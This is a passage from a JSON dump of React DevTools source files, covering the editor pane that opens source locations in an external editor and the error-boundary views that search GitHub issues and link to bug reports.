    "content": ".EditorPane {\n  position: relative;\n  display: block;\n  background-color: var(--color-background);\n  color: var(--color-text);\n  font-family: var(--font-family-sans);\n}\n\n.EditorPane, .EditorPane * {\n  box-sizing: border-box;\n  -webkit-font-smoothing: var(--font-smoothing);\n}\n\n.EditorToolbar {\n  display: flex;\n  flex-direction: row;\n  align-items: center;\n  padding: 0.5rem;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.EditorInfo {\n  padding: 0.5rem;\n  text-align: center;\n}\n\n.VRule {\n  height: 20px;\n  width: 1px;\n  flex: 0 0 1px;\n  margin: 0 0.5rem;\n  background-color: var(--color-border);\n}\n\n.WideButton {\n  flex: 1 0 auto;\n  display: flex;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Editor/EditorPane.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useState, startTransition} from 'react';\n\nimport portaledContent from '../portaledContent';\n\nimport styles from './EditorPane.css';\n\nimport Button from 'react-devtools-shared/src/devtools/views/Button';\nimport ButtonIcon from 'react-devtools-shared/src/devtools/views/ButtonIcon';\n\nimport OpenInEditorButton from './OpenInEditorButton';\nimport useEditorURL from '../useEditorURL';\n\nimport EditorSettings from './EditorSettings';\nimport CodeEditorByDefault from '../Settings/CodeEditorByDefault';\n\nexport type SourceSelection = {\n  url: string,\n  // The selection is a ref so that we don't have to rerender every keystroke.\n  selectionRef: {\n    line: number,\n    column: number,\n  },\n};\n\nexport type Props = {selectedSource: ?SourceSelection};\n\nfunction EditorPane({selectedSource}: Props) {\n  const [showSettings, setShowSettings] = useState(false);\n  const [showLinkInfo, setShowLinkInfo] = useState(false);\n\n  const editorURL = useEditorURL();\n\n  if (showLinkInfo) {\n    return (\n      <div className={styles.EditorPane}>\n        <div className={styles.EditorToolbar}>\n          <div style={{display: 'flex', flex: '1 1 auto'}}>\n            To enable link handling in your browser's DevTools settings, look\n            for the option Extension -> Link Handling. Select \"React Developer\n            Tools\".\n          </div>\n          <div className={styles.VRule} />\n          <Button\n            onClick={() =>\n              startTransition(() => {\n                setShowLinkInfo(false);\n                setShowSettings(false);\n              })\n            }>\n            <ButtonIcon type=\"close\" />\n          </Button>\n        </div>\n      </div>\n    );\n  }\n\n  let editorToolbar;\n  if (showSettings) {\n    editorToolbar = (\n      <div className={styles.EditorToolbar}>\n        <EditorSettings />\n        <div className={styles.VRule} />\n        <Button onClick={() => startTransition(() => setShowSettings(false))}>\n          <ButtonIcon type=\"close\" />\n        </Button>\n      </div>\n    );\n  } else {\n    editorToolbar = (\n      <div className={styles.EditorToolbar}>\n        <OpenInEditorButton\n          className={styles.WideButton}\n          editorURL={editorURL}\n          source={selectedSource}\n        />\n        <div className={styles.VRule} />\n        <Button\n          onClick={() => startTransition(() => setShowSettings(true))}\n          // We don't use the title here because we don't have enough space to show it.\n          // Once we expand this pane we can add it.\n          // title=\"Configure code editor\"\n        >\n          <ButtonIcon type=\"settings\" />\n        </Button>\n      </div>\n    );\n  }\n\n  return (\n    <div className={styles.EditorPane}>\n      {editorToolbar}\n      <div className={styles.EditorInfo}>\n        {editorURL ? (\n          <CodeEditorByDefault\n            onChange={alwaysOpenInEditor => {\n              if (alwaysOpenInEditor) {\n                startTransition(() => setShowLinkInfo(true));\n              }\n            }}\n          />\n        ) : (\n          'Configure an external editor to open local files.'\n        )}\n      </div>\n    </div>\n  );\n}\nexport default (portaledContent(EditorPane): component());\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Editor/EditorSettings.css",
    "content": ".EditorSettings {\n  display: flex;\n  flex: 1 0 auto;\n}\n\n.EditorLabel {\n  display: inline;\n  margin-right: 0.5rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Editor/EditorSettings.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './EditorSettings.css';\n\nimport CodeEditorOptions from '../Settings/CodeEditorOptions';\n\ntype Props = {};\n\nfunction EditorSettings(_: Props): React.Node {\n  return (\n    <div className={styles.EditorSettings}>\n      <label>\n        <div className={styles.EditorLabel}>Editor</div>\n        <CodeEditorOptions />\n      </label>\n    </div>\n  );\n}\n\nexport default EditorSettings;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Editor/OpenInEditorButton.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport Button from 'react-devtools-shared/src/devtools/views/Button';\nimport ButtonIcon from 'react-devtools-shared/src/devtools/views/ButtonIcon';\nimport ButtonLabel from 'react-devtools-shared/src/devtools/views/ButtonLabel';\n\nimport type {SourceSelection} from './EditorPane';\nimport type {ReactFunctionLocation} from 'shared/ReactTypes';\n\nimport {checkConditions} from './utils';\n\ntype Props = {\n  editorURL: string,\n  source: ?SourceSelection,\n  className?: string,\n};\n\nfunction ActualOpenInEditorButton({\n  editorURL,\n  source,\n  className,\n}: Props): React.Node {\n  let disable;\n  if (source == null) {\n    disable = true;\n  } else {\n    const staleLocation: ReactFunctionLocation = [\n      '',\n      source.url,\n      // This is not live but we just use any line/column to validate whether this can be opened.\n      // We'll call checkConditions again when we click it to get the latest line number.\n      source.selectionRef.line,\n      source.selectionRef.column,\n    ];\n    disable = checkConditions(editorURL, staleLocation).shouldDisableButton;\n  }\n  return (\n    <Button\n      disabled={disable}\n      className={className}\n      onClick={() => {\n        if (source == null) {\n          return;\n        }\n        const latestLocation: ReactFunctionLocation = [\n          '',\n          source.url,\n          // These might have changed since we last read it.\n          source.selectionRef.line,\n          source.selectionRef.column,\n        ];\n        const {url, shouldDisableButton} = checkConditions(\n          editorURL,\n          latestLocation,\n        );\n        if (!shouldDisableButton) {\n          window.open(url);\n        }\n      }}>\n      <ButtonIcon type=\"editor\" />\n      <ButtonLabel>Open in editor</ButtonLabel>\n    </Button>\n  );\n}\n\nfunction OpenInEditorButton({editorURL, source, className}: Props): React.Node {\n  return (\n    <React.Suspense\n      fallback={\n        <Button disabled={true} className={className}>\n          <ButtonIcon type=\"editor\" />\n          <ButtonLabel>Loading source maps...</ButtonLabel>\n        </Button>\n      }>\n      <ActualOpenInEditorButton\n        editorURL={editorURL}\n        source={source}\n        className={className}\n      />\n    </React.Suspense>\n  );\n}\n\nexport default OpenInEditorButton;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Editor/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactFunctionLocation, ReactCallSite} from 'shared/ReactTypes';\n\nexport function checkConditions(\n  editorURL: string,\n  source: ReactFunctionLocation | ReactCallSite,\n): {url: URL | null, shouldDisableButton: boolean} {\n  try {\n    const url = new URL(editorURL);\n\n    const [, sourceURL, line, column] = source;\n    let filePath;\n\n    // Check if sourceURL is a correct URL, which has a protocol specified\n    if (sourceURL.startsWith('file:///')) {\n      filePath = new URL(sourceURL).pathname;\n    } else if (sourceURL.includes('://')) {\n      // $FlowFixMe[cannot-resolve-name]\n      if (!__IS_INTERNAL_VERSION__) {\n        // In this case, we can't really determine the path to a file, disable a button\n        return {url: null, shouldDisableButton: true};\n      } else {\n        const endOfSourceMapURLPattern = '.js/';\n        const endOfSourceMapURLIndex = sourceURL.lastIndexOf(\n          endOfSourceMapURLPattern,\n        );\n\n        if (endOfSourceMapURLIndex === -1) {\n          return {url: null, shouldDisableButton: true};\n        } else {\n          filePath = sourceURL.slice(\n            endOfSourceMapURLIndex + endOfSourceMapURLPattern.length,\n            sourceURL.length,\n          );\n        }\n      }\n    } else {\n      filePath = sourceURL;\n    }\n\n    const lineNumberAsString = String(line);\n    const columnNumberAsString = String(column);\n\n    url.href = url.href\n      .replace('{path}', filePath)\n      .replace('{line}', lineNumberAsString)\n      .replace('{column}', columnNumberAsString)\n      .replace('%7Bpath%7D', filePath)\n      .replace('%7Bline%7D', lineNumberAsString)\n      .replace('%7Bcolumn%7D', columnNumberAsString);\n\n    return {url, shouldDisableButton: false};\n  } catch (e) {\n    // User has provided incorrect editor url\n    return {url: null, shouldDisableButton: true};\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/CaughtErrorView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport styles from './shared.css';\n\ntype Props = {\n  callStack: string | null,\n  children: React$Node,\n  info: React$Node | null,\n  componentStack: string | null,\n  errorMessage: string,\n};\n\nexport default function CaughtErrorView({\n  callStack,\n  children,\n  info,\n  componentStack,\n  errorMessage,\n}: Props): React.Node {\n  return (\n    <div className={styles.ErrorBoundary}>\n      {children}\n      <div className={styles.ErrorInfo}>\n        <div className={styles.HeaderRow}>\n          <div className={styles.ErrorHeader}>{errorMessage}</div>\n        </div>\n        {!!info && <div className={styles.InfoBox}>{info}</div>}\n        {!!callStack && (\n          <div className={styles.ErrorStack}>\n            The error was thrown {callStack.trim()}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ErrorBoundary.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Component, Suspense} from 'react';\nimport Store from 'react-devtools-shared/src/devtools/store';\nimport UnsupportedBridgeOperationView from './UnsupportedBridgeOperationView';\nimport ErrorView from './ErrorView';\nimport SearchingGitHubIssues from './SearchingGitHubIssues';\nimport SuspendingErrorView from './SuspendingErrorView';\nimport TimeoutView from './TimeoutView';\nimport CaughtErrorView from './CaughtErrorView';\nimport UnsupportedBridgeOperationError from 'react-devtools-shared/src/UnsupportedBridgeOperationError';\nimport TimeoutError from 'react-devtools-shared/src/errors/TimeoutError';\nimport UserError from 'react-devtools-shared/src/errors/UserError';\nimport UnknownHookError from 'react-devtools-shared/src/errors/UnknownHookError';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\n\ntype Props = {\n  children: React$Node,\n  canDismiss?: boolean,\n  onBeforeDismissCallback?: () => void,\n  store?: Store,\n};\n\ntype State = {\n  callStack: string | null,\n  canDismiss: boolean,\n  componentStack: string | null,\n  errorMessage: string | null,\n  hasError: boolean,\n  isUnsupportedBridgeOperationError: boolean,\n  isTimeout: boolean,\n  isUserError: boolean,\n  isUnknownHookError: boolean,\n};\n\nconst InitialState: State = {\n  callStack: null,\n  canDismiss: false,\n  componentStack: null,\n  errorMessage: null,\n  hasError: false,\n  isUnsupportedBridgeOperationError: false,\n  isTimeout: false,\n  isUserError: false,\n  isUnknownHookError: false,\n};\n\nexport default class ErrorBoundary extends Component<Props, State> {\n  state: State = InitialState;\n\n  static getDerivedStateFromError(error: any): {\n    callStack: string | null,\n    errorMessage: string | null,\n    hasError: boolean,\n    isTimeout: boolean,\n    isUnknownHookError: boolean,\n    isUnsupportedBridgeOperationError: boolean,\n    isUserError: boolean,\n  } {\n    const errorMessage =\n      typeof error === 'object' &&\n      error !== null &&\n      typeof error.message === 'string'\n        ? error.message\n        : null;\n\n    const isTimeout = error instanceof TimeoutError;\n    const isUserError = error instanceof UserError;\n    const isUnknownHookError = error instanceof UnknownHookError;\n    const isUnsupportedBridgeOperationError =\n      error instanceof UnsupportedBridgeOperationError;\n\n    const callStack =\n      typeof error === 'object' &&\n      error !== null &&\n      typeof error.stack === 'string'\n        ? error.stack.split('\\n').slice(1).join('\\n')\n        : null;\n\n    return {\n      callStack,\n      errorMessage,\n      hasError: true,\n      isUnsupportedBridgeOperationError,\n      isUnknownHookError,\n      isTimeout,\n      isUserError,\n    };\n  }\n\n  componentDidCatch(error: any, {componentStack}: any) {\n    this._logError(error, componentStack);\n    this.setState({\n      componentStack,\n    });\n  }\n\n  componentDidMount() {\n    const {store} = this.props;\n    if (store != null) {\n      store.addListener('error', this._onStoreError);\n    }\n  }\n\n  componentWillUnmount() {\n    const {store} = this.props;\n    if (store != null) {\n      store.removeListener('error', this._onStoreError);\n    }\n  }\n\n  render(): React.Node {\n    const {canDismiss: canDismissProp, children} = this.props;\n    const {\n      callStack,\n      canDismiss: canDismissState,\n      componentStack,\n      errorMessage,\n      hasError,\n      isUnsupportedBridgeOperationError,\n      isTimeout,\n      isUserError,\n      isUnknownHookError,\n    } = this.state;\n\n    if (hasError) {\n      if (isTimeout) {\n        return (\n          <TimeoutView\n            callStack={callStack}\n            componentStack={componentStack}\n            dismissError={\n              canDismissProp || canDismissState ? this._dismissError : null\n            }\n            errorMessage={errorMessage}\n          />\n        );\n      } else if (isUnsupportedBridgeOperationError) {\n        return (\n          <UnsupportedBridgeOperationView\n            callStack={callStack}\n            componentStack={componentStack}\n            errorMessage={errorMessage}\n          />\n        );\n      } else if (isUserError) {\n        return (\n          <CaughtErrorView\n            callStack={callStack}\n            componentStack={componentStack}\n            errorMessage={errorMessage || 'Error occurred in inspected element'}\n            info={\n              <>\n                React DevTools encountered an error while trying to inspect the\n                hooks. This is most likely caused by a developer error in the\n                currently inspected element. Please see your console for logged\n                error.\n              </>\n            }\n          />\n        );\n      } else if (isUnknownHookError) {\n        return (\n          <CaughtErrorView\n            callStack={callStack}\n            componentStack={componentStack}\n            errorMessage={errorMessage || 'Encountered an unknown hook'}\n            info={\n              <>\n                React DevTools encountered an unknown hook. This is probably\n                because the react-debug-tools package is out of date. To fix,\n                upgrade the React DevTools to the most recent version.\n              </>\n            }\n          />\n        );\n      } else {\n        return (\n          <ErrorView\n            callStack={callStack}\n            componentStack={componentStack}\n            dismissError={\n              canDismissProp || canDismissState ? this._dismissError : null\n            }\n            errorMessage={errorMessage}>\n            <Suspense fallback={<SearchingGitHubIssues />}>\n              <SuspendingErrorView\n                callStack={callStack}\n                componentStack={componentStack}\n                errorMessage={errorMessage}\n              />\n            </Suspense>\n          </ErrorView>\n        );\n      }\n    }\n\n    return children;\n  }\n\n  _logError: (error: any, componentStack: string | null) => void = (\n    error,\n    componentStack,\n  ) => {\n    logEvent({\n      event_name: 'error',\n      error_message: error.message ?? null,\n      error_stack: error.stack ?? null,\n      error_component_stack: componentStack ?? null,\n    });\n  };\n\n  _dismissError: () => void = () => {\n    const onBeforeDismissCallback = this.props.onBeforeDismissCallback;\n    if (typeof onBeforeDismissCallback === 'function') {\n      onBeforeDismissCallback();\n    }\n\n    this.setState(InitialState);\n  };\n\n  _onStoreError: (error: Error) => void = error => {\n    if (!this.state.hasError) {\n      this._logError(error, null);\n      this.setState({\n        ...ErrorBoundary.getDerivedStateFromError(error),\n        canDismiss: true,\n      });\n    }\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ErrorView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport styles from './shared.css';\n\ntype Props = {\n  callStack: string | null,\n  children: React$Node,\n  componentStack: string | null,\n  dismissError: Function | null,\n  errorMessage: string | null,\n};\n\nexport default function ErrorView({\n  callStack,\n  children,\n  componentStack,\n  dismissError = null,\n  errorMessage,\n}: Props): React.Node {\n  return (\n    <div className={styles.ErrorBoundary}>\n      {children}\n      <div className={styles.ErrorInfo}>\n        <div className={styles.HeaderRow}>\n          <div className={styles.ErrorHeader}>\n            Uncaught Error: {errorMessage || ''}\n          </div>\n          {dismissError !== null && (\n            <Button className={styles.CloseButton} onClick={dismissError}>\n              Dismiss\n              <ButtonIcon className={styles.CloseButtonIcon} type=\"close\" />\n            </Button>\n          )}\n        </div>\n        {!!callStack && (\n          <div className={styles.ErrorStack}>\n            The error was thrown {callStack.trim()}\n          </div>\n        )}\n        {!!componentStack && (\n          <div className={styles.ErrorStack}>\n            The error occurred {componentStack.trim()}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ReportNewIssue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport Icon from '../Icon';\nimport {searchGitHubIssuesURL} from './githubAPI';\nimport styles from './shared.css';\n\nconst LABELS = [\n  'Component: Developer Tools',\n  'Type: Bug',\n  'Status: Unconfirmed',\n];\n\n// This must match the filename in \".github/ISSUE_TEMPLATE/\"\nconst TEMPLATE = 'devtools_bug_report.yml';\n\ntype Props = {\n  callStack: string | null,\n  componentStack: string | null,\n  errorMessage: string | null,\n};\n\nexport default function ReportNewIssue({\n  callStack,\n  componentStack,\n  errorMessage,\n}: Props): React.Node {\n  let bugURL = process.env.GITHUB_URL;\n  if (!bugURL) {\n    return null;\n  }\n\n  const gitHubAPISearch =\n    errorMessage !== null ? searchGitHubIssuesURL(errorMessage) : '(none)';\n\n  const title = `[DevTools Bug] ${errorMessage || ''}`;\n\n  const parameters = [\n    `template=${TEMPLATE}`,\n    `labels=${encodeURIComponent(LABELS.join(','))}`,\n    `title=${encodeURIComponent(title)}`,\n    `automated_package=${process.env.DEVTOOLS_PACKAGE || ''}`,\n    `automated_version=${process.env.DEVTOOLS_VERSION || ''}`,\n    `automated_error_message=${encodeURIComponent(errorMessage || '')}`,\n    `automated_call_stack=${encodeURIComponent(callStack || '')}`,\n    `automated_component_stack=${encodeURIComponent(componentStack || '')}`,\n    `automated_github_query_string=${gitHubAPISearch}`,\n  ];\n\n  bugURL += `/issues/new?${parameters.join('&')}`;\n\n  return (\n    <div className={styles.GitHubLinkRow}>\n      <Icon className={styles.ReportIcon} type=\"bug\" />\n      <a\n        className={styles.ReportLink}\n        href={bugURL}\n        rel=\"noopener noreferrer\"\n        target=\"_blank\">\n        Report this issue\n      </a>\n      <div className={styles.ReproSteps}>\n        (Please include steps on how to reproduce it and the components used.)\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/SearchingGitHubIssues.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport LoadingAnimation from 'react-devtools-shared/src/devtools/views/Components/LoadingAnimation';\nimport styles from './shared.css';\n\nexport default function SearchingGitHubIssues(): React.Node {\n  return (\n    <div className={styles.GitHubLinkRow}>\n      <LoadingAnimation className={styles.LoadingIcon} />\n      Searching GitHub for reports of this error...\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/SuspendingErrorView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {findGitHubIssue} from './cache';\nimport UpdateExistingIssue from './UpdateExistingIssue';\nimport ReportNewIssue from './ReportNewIssue';\nimport WorkplaceGroup from './WorkplaceGroup';\n\ntype Props = {\n  callStack: string | null,\n  componentStack: string | null,\n  errorMessage: string | null,\n};\n\nexport default function SuspendingErrorView({\n  callStack,\n  componentStack,\n  errorMessage,\n}: Props): React.Node {\n  const maybeItem =\n    errorMessage !== null ? findGitHubIssue(errorMessage) : null;\n\n  let GitHubUI;\n  if (maybeItem != null) {\n    GitHubUI = <UpdateExistingIssue gitHubIssue={maybeItem} />;\n  } else {\n    GitHubUI = (\n      <ReportNewIssue\n        callStack={callStack}\n        componentStack={componentStack}\n        errorMessage={errorMessage}\n      />\n    );\n  }\n\n  return (\n    <>\n      {GitHubUI}\n      <WorkplaceGroup />\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/TimeoutView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport styles from './shared.css';\n\ntype Props = {\n  callStack: string | null,\n  children: React$Node,\n  componentStack: string | null,\n  dismissError: Function,\n  errorMessage: string | null,\n};\n\nexport default function TimeoutView({\n  callStack,\n  children,\n  componentStack,\n  dismissError = null,\n  errorMessage,\n}: Props): React.Node {\n  return (\n    <div className={styles.ErrorBoundary}>\n      {children}\n      <div className={styles.ErrorInfo}>\n        <div className={styles.HeaderRow}>\n          <div className={styles.TimeoutHeader}>\n            {errorMessage || 'Timed out waiting'}\n          </div>\n          <Button className={styles.CloseButton} onClick={dismissError}>\n            Retry\n            <ButtonIcon className={styles.CloseButtonIcon} type=\"close\" />\n          </Button>\n        </div>\n        {!!componentStack && (\n          <div className={styles.TimeoutStack}>\n            The timeout occurred {componentStack.trim()}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/UnsupportedBridgeOperationView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport styles from './shared.css';\n\ntype Props = {\n  callStack: string | null,\n  children: React$Node,\n  componentStack: string | null,\n  errorMessage: string | null,\n};\n\nexport default function UnsupportedBridgeOperationView({\n  callStack,\n  children,\n  componentStack,\n  errorMessage,\n}: Props): React.Node {\n  return (\n    <div className={styles.ErrorBoundary}>\n      {children}\n      <div className={styles.ErrorInfo}>\n        <div className={styles.HeaderRow}>\n          <div className={styles.ErrorHeader}>\n            {errorMessage || 'Bridge protocol mismatch'}\n          </div>\n        </div>\n        <div className={styles.InfoBox}>\n          An incompatible version of <code>react-devtools-core</code> has been\n          embedded in a renderer like React Native. To fix this, update the{' '}\n          <code>react-devtools-core</code> package within the React Native\n          application, or downgrade the <code>react-devtools</code> package you\n          use to open the DevTools UI.\n        </div>\n        {!!callStack && (\n          <div className={styles.ErrorStack}>\n            The error was thrown {callStack.trim()}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/UpdateExistingIssue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {GitHubIssue} from './githubAPI';\n\nimport * as React from 'react';\nimport Icon from '../Icon';\nimport styles from './shared.css';\n\nexport default function UpdateExistingIssue({\n  gitHubIssue,\n}: {\n  gitHubIssue: GitHubIssue,\n}): React.Node {\n  const {title, url} = gitHubIssue;\n  return (\n    <div className={styles.GitHubLinkRow}>\n      <Icon className={styles.ReportIcon} type=\"bug\" />\n      <div className={styles.UpdateExistingIssuePrompt}>\n        Update existing issue:\n      </div>\n      <a\n        className={styles.ReportLink}\n        href={url}\n        rel=\"noopener noreferrer\"\n        target=\"_blank\"\n        title=\"Report bug\">\n        {title}\n      </a>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/WorkplaceGroup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {isInternalFacebookBuild} from 'react-devtools-feature-flags';\nimport {REACT_DEVTOOLS_WORKPLACE_URL} from 'react-devtools-shared/src/devtools/constants';\nimport Icon from '../Icon';\nimport styles from './shared.css';\n\nexport default function WorkplaceGroup(): React.Node {\n  if (!isInternalFacebookBuild) {\n    return null;\n  }\n\n  return (\n    <div className={styles.WorkplaceGroupRow}>\n      <Icon className={styles.ReportIcon} type=\"facebook\" />\n      <a\n        className={styles.ReportLink}\n        href={REACT_DEVTOOLS_WORKPLACE_URL}\n        rel=\"noopener noreferrer\"\n        target=\"_blank\">\n        Report this on Workplace\n      </a>\n      <div className={styles.FacebookOnly}>(Facebook employees only.)</div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/cache.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\nimport type {GitHubIssue} from './githubAPI';\n\nimport * as React from 'react';\n\nimport {unstable_getCacheForType as getCacheForType} from 'react';\nimport {searchGitHubIssues} from './githubAPI';\n\nconst API_TIMEOUT = 3000;\nfunction readRecord<T>(record: Thenable<T>): T | null {\n  if (typeof React.use === 'function') {\n    try {\n      // eslint-disable-next-line react-hooks-published/rules-of-hooks\n      return React.use(record);\n    } catch (x) {\n      if (x === null) {\n        return null;\n      }\n      throw x;\n    }\n  }\n  if (record.status === 'fulfilled') {\n    return record.value;\n  } else if (record.status === 'rejected') {\n    return null;\n  } else {\n    throw record;\n  }\n}\n\ntype GitHubIssueMap = Map<string, Thenable<GitHubIssue>>;\n\nfunction createMap(): GitHubIssueMap {\n  return new Map();\n}\n\nfunction getRecordMap(): Map<string, Thenable<GitHubIssue>> {\n  return getCacheForType(createMap);\n}\n\nexport function findGitHubIssue(errorMessage: string): GitHubIssue | null {\n  errorMessage = normalizeErrorMessage(errorMessage);\n\n  const map = getRecordMap();\n  let record = map.get(errorMessage);\n\n  if (!record) {\n    const callbacks = new Set<(value: any) => mixed>();\n    const rejectCallbacks = new Set<(reason: mixed) => mixed>();\n    const thenable: Thenable<GitHubIssue> = {\n      status: 'pending',\n      value: null,\n      reason: null,\n      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {\n        callbacks.add(callback);\n        rejectCallbacks.add(reject);\n      },\n\n      // Optional property used by Timeline:\n      displayName: `Searching GitHub issues for error \"${errorMessage}\"`,\n    };\n    const wake = () => {\n      // This assumes they won't throw.\n      callbacks.forEach(callback => callback((thenable: any).value));\n      callbacks.clear();\n      rejectCallbacks.clear();\n    };\n    const wakeRejections = () => {\n      // This assumes they won't throw.\n      rejectCallbacks.forEach(callback => callback((thenable: any).reason));\n      rejectCallbacks.clear();\n      callbacks.clear();\n    };\n    record = thenable;\n\n    let didTimeout = false;\n\n    searchGitHubIssues(errorMessage)\n      .then(maybeItem => {\n        if (didTimeout) {\n          return;\n        }\n\n        if (maybeItem) {\n          const fulfilledThenable: FulfilledThenable<GitHubIssue> =\n            (thenable: any);\n          fulfilledThenable.status = 'fulfilled';\n          fulfilledThenable.value = maybeItem;\n          wake();\n        } else {\n          const notFoundThenable: RejectedThenable<GitHubIssue> =\n            (thenable: any);\n          notFoundThenable.status = 'rejected';\n          notFoundThenable.reason = null;\n          wakeRejections();\n        }\n      })\n      .catch(error => {\n        const rejectedThenable: RejectedThenable<GitHubIssue> = (thenable: any);\n        rejectedThenable.status = 'rejected';\n        rejectedThenable.reason = null;\n        wakeRejections();\n      });\n\n    // Only wait a little while for GitHub results before showing a fallback.\n    setTimeout(() => {\n      didTimeout = true;\n\n      const timedoutThenable: RejectedThenable<GitHubIssue> = (thenable: any);\n      timedoutThenable.status = 'rejected';\n      timedoutThenable.reason = null;\n      wakeRejections();\n    }, API_TIMEOUT);\n\n    map.set(errorMessage, record);\n  }\n\n  const response = readRecord(record);\n  return response;\n}\n\nfunction normalizeErrorMessage(errorMessage: string): string {\n  // Remove Fiber IDs from error message (as those will be unique).\n  errorMessage = errorMessage.replace(/\"[0-9]+\"/, '');\n  return errorMessage;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/githubAPI.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type GitHubIssue = {\n  title: string,\n  url: string,\n};\n\nconst GITHUB_ISSUES_API = 'https://api.github.com/search/issues';\n\nexport function searchGitHubIssuesURL(message: string): string {\n  // Remove Fiber IDs from error message (as those will be unique).\n  message = message.replace(/\"[0-9]+\"/g, '');\n\n  const filters = [\n    'in:title',\n    'is:issue',\n    'is:open',\n    'is:public',\n    'label:\"Component: Developer Tools\"',\n    'repo:facebook/react',\n  ];\n\n  return (\n    GITHUB_ISSUES_API +\n    '?q=' +\n    encodeURIComponent(message) +\n    '%20' +\n    filters.map(encodeURIComponent).join('%20')\n  );\n}\n\nexport async function searchGitHubIssues(\n  message: string,\n): Promise<GitHubIssue | null> {\n  const response = await fetch(searchGitHubIssuesURL(message));\n  const data = await response.json();\n  if (data.items.length > 0) {\n    const item = data.items[0];\n    return {\n      title: item.title,\n      url: item.html_url,\n    };\n  } else {\n    return null;\n  }\n}\n"
  },
